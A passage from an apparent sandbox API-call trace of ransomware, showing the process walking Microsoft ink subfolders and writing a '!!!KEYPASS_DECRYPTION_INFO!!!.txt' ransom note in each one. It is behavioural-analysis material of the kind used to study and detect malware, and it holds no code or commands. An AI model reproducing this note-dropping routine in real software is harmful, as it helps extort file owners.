shared\\ink\\es-MX\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0238.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x440 [0238.963] GetFileType (hFile=0x440) returned 0x1 [0238.963] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0238.963] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0238.963] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0238.963] WriteFile (in: hFile=0x440, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0238.964] WriteFile (in: hFile=0x440, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0238.964] CloseHandle (hObject=0x440) returned 1 [0238.966] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd067c0 [0238.966] FindNextFileW (in: hFindFile=0xd067c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.966] FindNextFileW (in: hFindFile=0xd067c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.966] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0238.966] FindNextFileW (in: hFindFile=0xd067c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.966] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui") returned=".mui" [0238.966] FindNextFileW (in: hFindFile=0xd067c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0238.966] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.966] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0238.966] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd07b88 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0238.966] GetLastError () returned 0x3f0 [0238.966] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0238.966] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0238.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0238.967] GetFileType (hFile=0x448) returned 0x1 [0238.968] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0238.968] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0238.968] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0238.968] WriteFile (in: hFile=0x448, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0238.969] WriteFile (in: hFile=0x448, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0238.969] CloseHandle (hObject=0x448) returned 1 [0238.969] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd063c0 [0238.969] FindNextFileW (in: hFindFile=0xd063c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.969] FindNextFileW (in: hFindFile=0xd063c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.969] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0238.969] FindNextFileW (in: hFindFile=0xd063c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.969] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui") returned=".mui" [0238.969] FindNextFileW (in: hFindFile=0xd063c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0238.969] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.969] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0238.969] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd07b88 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0238.969] GetLastError () returned 0x3f0 [0238.969] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0238.969] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0238.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x44c [0238.970] GetFileType (hFile=0x44c) returned 0x1 [0238.971] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0238.971] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0238.971] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0238.971] WriteFile (in: hFile=0x44c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0238.972] WriteFile (in: hFile=0x44c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0238.972] CloseHandle (hObject=0x44c) returned 1 [0238.972] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd06900 [0238.972] FindNextFileW (in: hFindFile=0xd06900, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.972] FindNextFileW (in: hFindFile=0xd06900, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.972] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0238.972] FindNextFileW (in: hFindFile=0xd06900, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.972] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui") returned=".mui" [0238.972] FindNextFileW (in: hFindFile=0xd06900, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0238.972] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.972] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned=".avi" [0238.972] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.972] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe") returned=".exe" [0238.972] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.972] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0238.972] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd07b88 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0238.972] GetLastError () returned 0x3f0 [0238.973] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0238.973] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0238.973] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x450 [0238.973] GetFileType (hFile=0x450) returned 0x1 [0238.973] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0238.973] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0238.973] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0238.974] WriteFile (in: hFile=0x450, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0238.975] WriteFile (in: hFile=0x450, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0238.975] CloseHandle (hObject=0x450) returned 1 [0238.975] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd06540 [0238.975] FindNextFileW (in: hFindFile=0xd06540, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.975] FindNextFileW (in: hFindFile=0xd06540, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.975] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0238.975] FindNextFileW (in: hFindFile=0xd06540, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.975] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned=".mui" [0238.975] FindNextFileW (in: hFindFile=0xd06540, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0238.975] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.975] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0238.975] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd07b88 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0238.975] GetLastError () returned 0x3f0 [0238.976] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0238.976] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0238.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0238.977] GetFileType (hFile=0x454) returned 0x1 [0238.977] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0238.977] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0238.977] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0238.977] WriteFile (in: hFile=0x454, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0238.978] WriteFile (in: hFile=0x454, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0238.978] CloseHandle (hObject=0x454) returned 1 [0238.978] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd06280 [0238.978] FindNextFileW (in: hFindFile=0xd06280, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.978] FindNextFileW (in: hFindFile=0xd06280, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.978] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0238.978] FindNextFileW (in: hFindFile=0xd06280, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.978] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui") returned=".mui" [0238.978] FindNextFileW (in: hFindFile=0xd06280, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0238.978] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.978] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0238.978] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd07b88 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0238.978] GetLastError () returned 0x3f0 [0238.978] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0238.979] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x444 [0239.550] GetFileType (hFile=0x444) returned 0x1 [0239.550] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.550] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.550] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.550] WriteFile (in: hFile=0x444, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.550] WriteFile (in: hFile=0x444, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.551] CloseHandle (hObject=0x444) returned 1 [0239.551] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd066c0 [0239.551] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.551] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.551] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.551] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.551] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0239.551] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd083a8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.551] GetLastError () returned 0x3f0 [0239.551] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.551] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x45c [0239.552] GetFileType (hFile=0x45c) returned 0x1 [0239.552] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0239.552] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0239.552] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0239.552] WriteFile (in: hFile=0x45c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0239.553] WriteFile (in: hFile=0x45c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0239.553] CloseHandle (hObject=0x45c) returned 1 [0239.553] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0xd06940 [0239.553] FindNextFileW (in: hFindFile=0xd06940, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.553] FindNextFileW (in: hFindFile=0xd06940, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.554] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.554] FindNextFileW (in: hFindFile=0xd06940, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.554] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned=".xml" [0239.554] FindNextFileW (in: hFindFile=0xd06940, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0239.554] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.554] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned=".xml" [0239.554] FindNextFileW (in: hFindFile=0xd066c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.554] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0239.554] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd083a8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.554] GetLastError () returned 0x3f0 [0239.554] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.554] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0239.554] GetFileType (hFile=0x460) returned 0x1 [0239.554] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0239.554] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0239.555] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0239.555] WriteFile (in: hFile=0x460, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0239.556] WriteFile (in: hFile=0x460, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0239.556] CloseHandle (hObject=0x460) returned 1 [0239.556] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0xd06600 [0239.557] FindNextFileW (in: hFindFile=0xd06600, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0239.557] FindNextFileW (in: 